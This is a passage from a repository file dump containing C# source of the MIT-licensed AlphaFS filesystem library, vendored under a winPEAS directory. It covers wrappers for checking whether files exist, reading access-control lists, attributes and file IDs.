directory exists.</para>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to\n      ///   determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with\n      ///   invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the\n      ///   file.</para>\n      ///   <para>The Exists method should not be used for path validation, this method merely checks\n      ///   if the file specified in path exists.</para>\n      ///   <para>Passing an invalid path to Exists returns false.</para>\n      ///   <para>Be aware that another process can potentially do something with the file in\n      ///   between the time you call the Exists method and perform another operation on the file, such\n      ///   as Delete.</para>\n      /// </remarks>\n      /// <param name=\"path\">The file to check.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if the caller has the required permissions and\n      ///   <paramref name=\"path\"/> contains the name of an existing file; otherwise,\n      ///   <c>false</c></para>\n      /// </returns>\n      [SecurityCritical]\n      public static bool Exists(string path, PathFormat pathFormat)\n      {\n         return ExistsCore(null, false, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ExistsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>\n      ///   [AlphaFS] Determines whether the specified file exists.\n      /// </summary>\n      /// <remarks>\n      ///   <para>MSDN: .NET 3.5+: Trailing spaces are removed from the end of the\n      ///   <paramref name=\"path\"/> parameter before checking whether the directory exists.</para>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to\n      ///   determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with\n      ///   invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the\n      ///   file.</para>\n      ///   <para>The Exists method should not be used for path validation,</para>\n      ///   <para>this method merely checks if the file specified in path exists.</para>\n      ///   <para>Passing an invalid path to Exists returns false.</para>\n      ///   <para>Be aware that another process can potentially do something with the file in\n      ///   between</para>\n      ///   <para>the time you call the Exists method and perform another operation on the file, such\n      ///   as Delete.</para>\n      /// </remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to check.</param>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if the caller has the required permissions</para>\n      ///   <para>and <paramref name=\"path\"/> contains the name of an existing file; otherwise,\n      ///   <c>false</c></para>\n      /// </returns>\n      [SecurityCritical]\n      public static bool ExistsTransacted(KernelTransaction transaction, string path)\n      {\n         return ExistsCore(transaction, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>\n      ///   [AlphaFS] Determines whether the specified file exists.\n      /// </summary>\n      /// <remarks>\n      ///   <para>MSDN: .NET 3.5+: Trailing spaces are removed from the end of the\n      ///   <paramref name=\"path\"/> parameter before checking whether the directory exists.</para>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to\n      ///   determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with\n      ///   invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the\n      ///   file.</para>\n      ///   <para>The Exists method should not be used for path validation,</para>\n      ///   <para>this method merely checks if the file specified in path exists.</para>\n      ///   <para>Passing an invalid path to Exists returns false.</para>\n      ///   <para>Be aware that another process can potentially do something with the file in\n      ///   between</para>\n      ///   <para>the time you call the Exists method and perform another operation on the file, such\n      ///   as Delete.</para>\n      /// </remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to check.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if the caller has the required permissions</para>\n      ///   <para>and <paramref name=\"path\"/> contains the name of an existing file; otherwise,\n      ///   <c>false</c></para>\n      /// </returns>\n      [SecurityCritical]\n      public static bool ExistsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return ExistsCore(transaction, false, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.FindFirstStreamNative.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      [SuppressMessage(\"Microsoft.Performance\", \"CA1804:RemoveUnusedLocals\", MessageId = \"lastError\")]\n      [SecurityCritical]\n      internal static SafeFindFileHandle FindFirstStreamNative(KernelTransaction transaction, string pathLp, SafeGlobalMemoryBufferHandle buffer)\n      {\n         var safeFindFileHandle = null == transaction\n\n            // FindFirstStreamW() / FindFirstStreamTransactedW()\n            // 2018-01-15: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n            ? NativeMethods.FindFirstStreamW(pathLp, NativeMethods.STREAM_INFO_LEVELS.FindStreamInfoStandard, buffer, 0)\n            : NativeMethods.FindFirstStreamTransactedW(pathLp, NativeMethods.STREAM_INFO_LEVELS.FindStreamInfoStandard, buffer, 0, transaction.SafeHandle);\n\n         var lastError = Marshal.GetLastWin32Error();\n\n         return NativeMethods.IsValidHandle(safeFindFileHandle, false) ? safeFindFileHandle : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetAccessControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing Alphaleonis.Win32.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for a specified file.</summary>\n      /// <returns>A <see cref=\"FileSecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"path\"/> parameter.</returns>      \n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a file containing a <see cref=\"FileSecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      [SecurityCritical]\n      public static FileSecurity GetAccessControl(string path)\n      {\n         return GetAccessControlCore<FileSecurity>(false, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for a specified file.</summary>\n      /// <returns>A <see cref=\"FileSecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"path\"/> parameter.</returns>      \n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a file containing a <see cref=\"FileSecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileSecurity GetAccessControl(string path, PathFormat pathFormat)\n      {\n         return GetAccessControlCore<FileSecurity>(false, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, pathFormat);\n      }\n\n\n      /// <summary>Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for a specified file.</summary>\n      /// <returns>A <see cref=\"FileSecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"path\"/> parameter.</returns>      \n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a file containing a <see cref=\"FileSecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      /// <param name=\"includeSections\">One (or more) of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      [SecurityCritical]\n      public static FileSecurity GetAccessControl(string path, AccessControlSections includeSections)\n      {\n         return GetAccessControlCore<FileSecurity>(false, path, includeSections, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>[AlphaFS] Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for a specified file.</summary>\n      /// <returns>A <see cref=\"FileSecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"path\"/> parameter.</returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a file containing a <see cref=\"FileSecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      /// <param name=\"includeSections\">One (or more) of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileSecurity GetAccessControl(string path, AccessControlSections includeSections, PathFormat pathFormat)\n      {\n         return GetAccessControlCore<FileSecurity>(false, path, includeSections, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for a specified file handle.</summary>\n      /// <returns>A <see cref=\"FileSecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"handle\"/> parameter.</returns>      \n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a file containing a <see cref=\"FileSecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      [SecurityCritical]\n      public static FileSecurity GetAccessControl(SafeFileHandle handle)\n      {\n         return GetAccessControlHandleCore<FileSecurity>(false, false, handle, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, SECURITY_INFORMATION.None);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for a specified file handle.</summary>\n      /// <returns>A <see cref=\"FileSecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"handle\"/> parameter.</returns>      \n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a file containing a <see cref=\"FileSecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      /// <param name=\"includeSections\">One (or more) of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      [SecurityCritical]\n      public static FileSecurity GetAccessControl(SafeFileHandle handle, AccessControlSections includeSections)\n      {\n         return GetAccessControlHandleCore<FileSecurity>(false, false, handle, includeSections, SECURITY_INFORMATION.None);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetAttributes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the <see cref=\"FileAttributes\"/> of the file on the path.</summary>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <returns>The <see cref=\"FileAttributes\"/> of the file on the path.</returns>\n      [SecurityCritical]\n      public static FileAttributes GetAttributes(string path)\n      {\n         return GetAttributesExCore<FileAttributes>(null, path, PathFormat.RelativePath, true);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileAttributes\"/> of the file on the path.</summary>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The <see cref=\"FileAttributes\"/> of the file on the path.</returns>\n      [SecurityCritical]\n      public static FileAttributes GetAttributes(string path, PathFormat pathFormat)\n      {\n         return GetAttributesExCore<FileAttributes>(null, path, pathFormat, true);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetAttributesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileAttributes\"/> of the file on the path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <returns>The <see cref=\"FileAttributes\"/> of the file on the path.</returns>\n      [SecurityCritical]\n      public static FileAttributes GetAttributesTransacted(KernelTransaction transaction, string path)\n      {\n         return GetAttributesExCore<FileAttributes>(transaction, path, PathFormat.RelativePath, true);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileAttributes\"/> of the file on the path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The <see cref=\"FileAttributes\"/> of the file on the path.</returns>\n      [SecurityCritical]\n      public static FileAttributes GetAttributesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetAttributesExCore<FileAttributes>(transaction, path, pathFormat, true);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileIdInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfo(string path)\n      {\n         return GetFileIdInfoCore(null, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfo(string path, PathFormat pathFormat)\n      {\n         return GetFileIdInfoCore(null, false, path, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves file information for the specified <see cref=\"SafeFileHandle\"/>.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> connected to the open file or directory from which to retrieve the information.</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfo(SafeFileHandle handle)\n      {\n         NativeMethods.BY_HANDLE_FILE_INFORMATION info;\n\n         var success = NativeMethods.GetFileInformationByHandle(handle, out info);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError);\n\n         return new FileIdInfo(info);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileIdInfoTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path)\n      {\n         return GetFileIdInfoCore(transaction, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetFileIdInfoCore(transaction, false, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileInfoByHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Retrieves file information for the specified file.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> object containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandle(string path)\n      {\n         return GetFileInfoByHandleCore(null, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves file information for the specified file.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> object containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandle(string path, PathFormat pathFormat)\n      {\n         return GetFileInfoByHandleCore(null, false, path, pathFormat);\n      }\n      \n      \n      /// <summary>[AlphaFS] Retrieves file information for the specified <see cref=\"SafeFileHandle\"/>.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> object containing the requested information.</returns>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> object containing the requested information.</returns>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> connected to the open file or directory from which to retrieve the information.</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandle(SafeFileHandle handle)\n      {\n         NativeMethods.IsValidHandle(handle);\n\n         NativeMethods.BY_HANDLE_FILE_INFORMATION info;\n\n         var success = NativeMethods.GetFileInformationByHandle(handle, out info);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError);\n\n\n         return new ByHandleFileInfo(info);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileInfoByHandleTransacted.cs",
